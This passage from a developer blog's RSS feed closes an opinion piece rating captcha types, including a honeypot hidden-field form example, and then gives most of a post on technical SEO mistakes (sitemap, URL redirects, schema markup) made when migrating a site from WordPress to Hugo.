style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/letters-and-numbers-captcha.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/letters-and-numbers-captcha.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;letters and number captcha&#34; width=&#34;193&#34; height=&#34;61&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This type of captcha tends to be quite invasive for users and can ruin the web experience. On top of that, I don&amp;rsquo;t consider them particularly useful for dealing with bots, there are even tutorials on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/lemontech-engineering/breaking-captchas-from-scracth-almost-753895fade8a&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;how to solve these captchas almost automatically&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t want to read the whole article I&amp;rsquo;ll summarize it for you, it basically consists of transforming the image with image editing software to highlight the characters and then using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/ocr-with-tesseract-python-and-pytesseract/&#34;&gt;an OCR, like tesseract in combination with one of its bindings, like pytesseract&lt;/a&gt;&#xA;, to &lt;em&gt;read&lt;/em&gt; them.&lt;/p&gt;&#xA;&lt;p&gt;Also take into account that many of these modern captchas also consider how you fill in the text input, i.e. they expect you to fill it in like a human, bringing the mouse pointer towards them and typing letter by letter at regular intervals.&lt;/p&gt;&#xA;&lt;p&gt;My veredict:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security: 7&lt;/li&gt;&#xA;&lt;li&gt;User friendly: 6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;invisible-input-field-captchas&#34;&gt;Invisible input field captchas&lt;/h2&gt;&#xA;&lt;p&gt;This type of captchas relies on CSS to create invisible input fields to the user, &lt;strong&gt;that a bot will detect&lt;/strong&gt; and try to fill, so they can then be identified by the server and be discarded or blocked.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;method&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Hide this with css instead --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;style&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;display:none;&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- real field --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;real_email&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;form&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This type of captchas seem to me perfect for the user, as they are completely invisible to the user, however they suffer from custom attacks where a human detects the strategy and simply modifies the bot to not fill those now visible fields.&lt;/p&gt;&#xA;&lt;p&gt;My veredict:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security: 7&lt;/li&gt;&#xA;&lt;li&gt;User friendly: 9&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;slider-captchas&#34;&gt;Slider captchas&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve seen these types of captchas on Tik Tok mainly, but you usually don&amp;rsquo;t find them so easily on the web.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/slider-captcha-example.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/slider-captcha-example.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Slider captcha&#34; width=&#34;616&#34; height=&#34;300&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I consider slider captchas to be one of the most balanced options out there, they are quick to solve and quite secure, although I doubt they are totally secure against all bots, mainly those that try to simulate users&amp;rsquo; mouse movements.&lt;/p&gt;&#xA;&lt;p&gt;I have never broken one of these captchas, but I imagine that using image processing as in the example above and some mouse movement emulation tool, it should not be impossible. Which brings me to the last type of captcha.&lt;/p&gt;&#xA;&lt;p&gt;My veredict:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security: 8&lt;/li&gt;&#xA;&lt;li&gt;User friendly: 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;captchas-that-are-safe-and-almost-impossible-to-solve&#34;&gt;Captchas that are safe and almost impossible to solve&lt;/h2&gt;&#xA;&lt;p&gt;This is probably the most secure, and also the most invasive captcha I&amp;rsquo;ve seen. It is found on the most popular English-speaking image board to date and I have not seen it anywhere else.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/4chan-captcha.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/images/4chan-captcha.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;4chan impossible captcha gif&#34; width=&#34;494&#34; height=&#34;186&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I want you to notice how sophisticated this captcha is. It is a simple box where it shows some scribbles in black and white, completely illegible and in the background an image that, when sliding the slider, overlaps with the background image, revealing the captcha before your eyes.&lt;/p&gt;&#xA;&lt;p&gt;This gradient formed between the &amp;ldquo;fake&amp;rdquo; captchas and the &amp;ldquo;real&amp;rdquo; one confuses any character recognition software, making it completely useless.&lt;/p&gt;&#xA;&lt;p&gt;In addition, this captcha requires interactivity from the user, as it requires the slider to be slid carefully, which rules out all those headless bots.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, it has the disadvantage of being invasive for the user, completely interrupting the browsing experience. Furthermore, I would venture to say that this captcha also gives a lot of false positives; I myself am unable to accurately read the characters that appear there and I&amp;rsquo;m not a bot, am I?&lt;/p&gt;&#xA;&lt;p&gt;My veredict:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Security: 10&lt;/li&gt;&#xA;&lt;li&gt;User friendly: 2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In defense of this captcha, I will say that it is a necessary evil on a website where it is not necessary to register to post, home of what was (or is) one of the most famous hacker groups: Anonymous and where illegal material was (or is) distributed, pictures and videos so cursed that will make you doubt if humanity deserves to share this planet with the rest of animals.&lt;/p&gt;&#xA;&lt;p&gt;I definitely do not recommend this type of captcha unless you have a website with similar characteristics, in such case my deepest condolences.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This is my analysis of some of the most popular captcha options out there and my opinion as a user on their advantages and disadvantages, this analysis includes google recaptcha, sliding captchas, simple questions, letter and number recognition and the most bot resistant captcha I know of.&lt;/p&gt;&#xA;&lt;h2 id=&#34;google-recaptcha-and-similar&#34;&gt;Google recaptcha and similar&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m sure you already know this one, as it&amp;rsquo;s the most common, and probably the most popular captcha out there. Google&amp;rsquo;s and Cloudflare&amp;rsquo;s stand out here.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>My technical SEO mistakes when I migrated my site from Wordpress</title>
      <link>https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/</link>
      <pubDate>Sat, 27 Apr 2024 19:49:56 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/</guid>
      
      <category>SEO</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A few years ago, I migrated my website a couple of times, first from Wordpress to Frontity (A wordpress framework in React) and then from Frontity to a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/&#34;&gt;Digital Ocean Hugo App&lt;/a&gt;&#xA;. I don&amp;rsquo;t regret my decision at all, but I made a few technical SEO mistakes that you can probably avoid if you take into account what I&amp;rsquo;m about to tell you.&lt;/p&gt;&#xA;&lt;p&gt;After that incident I wrote &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-basics-checklist-only-for-web-developers/&#34;&gt;&#xA;  &#xA;    &#xA;      My Technical SEO Basics Checklist Only For Web Developers &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-should-i-care-about-seo-if-im-a-web-developer&#34;&gt;Why should I care about SEO if I&amp;rsquo;m a web developer?&lt;/h2&gt;&#xA;&lt;p&gt;SEO is the factor that determines whether a website appears first in the search results of a search engine (almost always Google) or whether it is buried in the last positions, receiving little or no traffic and condemning the business it represents to bankruptcy, or if it is a personal project, to oblivion.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;And I&amp;rsquo;m not talking about subtle differences, I&amp;rsquo;m talking about abysmal differences.&lt;/p&gt;&#xA;&lt;p&gt;At the risk of sounding redundant, I will repeat it again: the traffic of a web site is much more important than the efficiency, the language or framework used to code it, yes, even if you wrote it in C++ or directly in assembler.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/aves-exoticas-org-bad-ui-good-seo.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/aves-exoticas-org-bad-ui-good-seo.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Aves exoticas is a perfect example of a web site with good seo but awful UI&#34; width=&#34;500&#34; height=&#34;322&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Aves exoticas is the perfect example of a website visually not so attractive, but with an impeccable SEO that positions it in the first position on google.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;web-developers-often-ignore-the-potential-of-seo&#34;&gt;Web developers often ignore the potential of SEO.&lt;/h3&gt;&#xA;&lt;p&gt;Most developers have an engineering background, where efficiency, best practices and the business aspect of a website are valued and overlooked.&lt;/p&gt;&#xA;&lt;p&gt;Hence, when a web developer launches their personal projects, they often completely ignore SEO and focus on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;optimizing their webapp performance to the maximum&lt;/a&gt;&#xA;, usually resulting in an extremely fast, efficient, and even visually appealing website, but with no traffic.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/web-development-assembly.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/web-development-assembly.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Web development in assembly meme&#34; width=&#34;500&#34; height=&#34;654&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;It is said that only true programmers program in low-level languages.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;my-mistakes-migrating-a-website-without-considering-technical-seo&#34;&gt;My mistakes migrating a website without considering Technical SEO&lt;/h2&gt;&#xA;&lt;p&gt;When I migrated my web development blog, the first thing that I blatantly ignored were the multiple consequences of doing it unanticipatedly. I began with the sitemap, then the URL structure and finally, as the cherry on top of the cake, the absence of a schema markup.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-presence-of-a-sitemap-is-crucial-in-tech-seo&#34;&gt;The presence of a sitemap is crucial in Tech SEO&lt;/h3&gt;&#xA;&lt;p&gt;A &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/&#34;&gt;sitemap is an xml file that functions as a map to navigate your site&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;The sitemap that my previous website had was located at a specific URI, which I changed when I migrated the website, so Google was unable to find it, and then what happened? Well&amp;hellip; Google indexed the pages randomly, as you probably already know, and I suffered the consequences.&lt;/p&gt;&#xA;&lt;p&gt;One night my cell phone vibrated to the rhythm of the cascade of notifications that Google Search Console was sending me.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    A sitemap is an index, usually in XML format, that lists the pages of your website.&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I have prevented this? By &lt;strong&gt;logging in my Google search console account&lt;/strong&gt; and replacing the old sitemap address with the new one, and then asking Google to read it again,&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-i-realized-that-url-structure-is-important-in-tech-seo&#34;&gt;How I realized that URL structure is important in Tech SEO&lt;/h3&gt;&#xA;&lt;p&gt;But that wasn&amp;rsquo;t all, after the migration from Wordpress to Hugo, Google detected a lot of 404 errors when accessing the old URLs and, as a punishment for being so careless, my traffic decreased by about 70%, yes 70%, painful I know.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Why did this happen? Imagine that search engines see your website with a URL structure like the following.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Website--&gt;Year;&#xA;    Year--&gt;Month;&#xA;    Month--&gt;Day;&#xA;    Day--&gt;Entry_1;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;And when you perform the migration, the structure changes;&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Website--&gt;Posts;&#xA;    Posts--&gt;Entry_1;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;The pages were the same but they weren&amp;rsquo;t at the same place. I like to think that I overestimated google&amp;rsquo;s capabilities to detect the new location of my content and act accordingly.&lt;/p&gt;&#xA;&lt;p&gt;The important thing to remember here is that search engines do not have a way to easily recognize that one entry is exactly the same as another if it has changed location, especially if this migration involves major changes to the page. While it is true that Google can detect duplicate content and is able to render a web page, that doesn&amp;rsquo;t mean it &amp;ldquo;sees&amp;rdquo; the entries visually, as a human would, in its guts it is still receiving and parsing HTM.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-could-i-have-prevented-my-traffic-decline&#34;&gt;How could I have prevented my traffic decline?&lt;/h3&gt;&#xA;&lt;p&gt;Using a plain, old and boring redirect. It should have been enough to tell Google that if it accessed &lt;em&gt;/202020/12/12/entry_1&lt;/em&gt; it should redirect to &lt;em&gt;/posts/entry_1&lt;/em&gt;, how? by &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;returning an HTTP 302 or 308 response&lt;/a&gt;&#xA;, Found or Permanent redirect, respectively.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-absence-of-structured-data-or-schema-markup&#34;&gt;The absence of structured data or Schema markup&lt;/h3&gt;&#xA;&lt;p&gt;When I used Wordpress the Yoast plugin took care of the structured data markup, but in Hugo this has to be done manually, so my website lasted a long time without this structured data, the result? A penalty from Google in the form of a decrease in the daily impressions, and therefore a traffic decline to my website.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/schema-ld&amp;#43;json.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/images/schema-ld&amp;#43;json.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of structured data markup on a web site&#34; width=&#34;677&#34; height=&#34;196&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The structured data markup for a web site looks like this&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    Structured data markup is usually in the form of an 